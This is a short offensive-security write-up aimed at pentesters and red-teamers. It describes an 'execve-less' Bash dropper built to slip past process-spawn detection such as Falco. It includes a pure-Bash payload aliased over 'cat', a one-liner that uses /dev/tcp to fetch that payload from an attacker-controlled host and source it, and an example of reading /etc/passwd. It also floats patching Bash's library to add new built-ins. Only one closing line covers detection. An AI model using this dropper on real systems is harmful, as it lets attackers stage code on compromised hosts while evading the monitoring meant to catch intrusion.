Execve(2)-less dropper to annoy security engineers

I. Introduction

Many antivirus software and HIDS tools base some (or most) of their detection methods on kernel probes or modules that aim to detect the invocation of malicious binaries that could lead to privilege escalation, persistence, or pivoting. In the almighty Cloud era, we can, for example, think of Falco and its well-known `evt.type = execve` that is probably deployed in every Kubernetes cluster using it as a default rule[1]. However, this small paper will show how, thanks to the hackers' best friend Bash, pentesters and red-teamers can easily bypass such detection mechanisms to further compromise the target.

II. One shell to rule them all

Bash (and many other shells) have a capability that may look inoffensive at first: *built-ins*. As their name states, they are commands that are directly built in the Bash program, meaning they do not rely on other programs to execute instructions. If you ever opened a terminal running Bash, you already met them: `cd`, `echo`, `alias` and co.[2]

By being implemented directly in the `bash` binary, launching those commands will be invisible if you're looking for new processes being spawned because they are just part of the initial Bash runtime. If smartly coupled with other shell mechanisms such as redirections, it is possible for someone having a foothold to get new files on the system and expend their capabilities.

III. The attack

A. The bullet

Before building our devilish one-liner dropper, we first need something to drop on the machine. As `source`, which allows us to run shell commands from a file, is a Bash built-in (hence invisible when looking for malicious spawned processes), we can imagine dropping and running a Bash library adding new functions exclusively written with built-ins, like a `cat` alternative in pure Bash. Let's create it:

```
#_
#!/bin/bash

function z_cat() {
  if [ "$#" -eq 0 ]; then
    echo "Usage: $0 <file> [file ...]" >&2
    return
  fi
  for file in "$@"; do
      if [ ! -r "$file" ]; then
          echo "Cannot read file: $file" >&2
          continue
      fi
      while IFS= read -r line; do
          echo "$line"
      done < "$file"
  done
}
# avoid being betrayed by memory muscle :0)
alias cat="z_cat"
```

B. The gun

Once this script is live somewhere on a webserver accessible from the compromised machine, we can download it using this one-liner dropper that will drop what's stored on `$FPATH` onto the compromise machine :

```
exec 3<>/dev/tcp/${IP?}/${PORT?}; printf
"GET /${FPATH?} HTTP/1.1\r\nHost:
localhost\r\nConnection: close\r\n\r\n">&3;
f=0; while IFS= read -r l<&3; do [ $f -eq 1 ]
&& echo "$l"; [[ $l == "#_"* ]] && f=1; done >
dropped; exec 3<&-
```

Now you can source the file named `dropped` and you have your additional Bash functions loaded!

```
bash:~$ . dropped
bash:~$ z_cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
```

You can verify that no calls to `execve(2)` are done using `strace`:

```
# strace -p "${SHELL_PID}" -e trace=execve
```

IV. Going further

Now that we can easily bypass HIDS looking for new spawned processes, we can explore novel ways to expend our capabilities and, in the end, gain full control of the machine. One way I've been thinking of but never implemented is to find a way to patch Bash's shared library, so that we can add new built-ins that cannot be mimicked without using binaries (`rm` is a good example).

On the blue-team side, this technique may be detected by logging every call to `read(2)` made by interactive processes (think shells), hence making a full keylogger. However, this will probably generate a lot of logs, depending on your infrastructure.

[1] https://github.com/falcosecurity/rules/blob/b6ad37371923b28d4db399cf11bd4817f923c286/rules/falco_rules.yaml#L81-L82

[2] You can get the full list by running `man bash` and looking for the 'shell builtins command' chapter.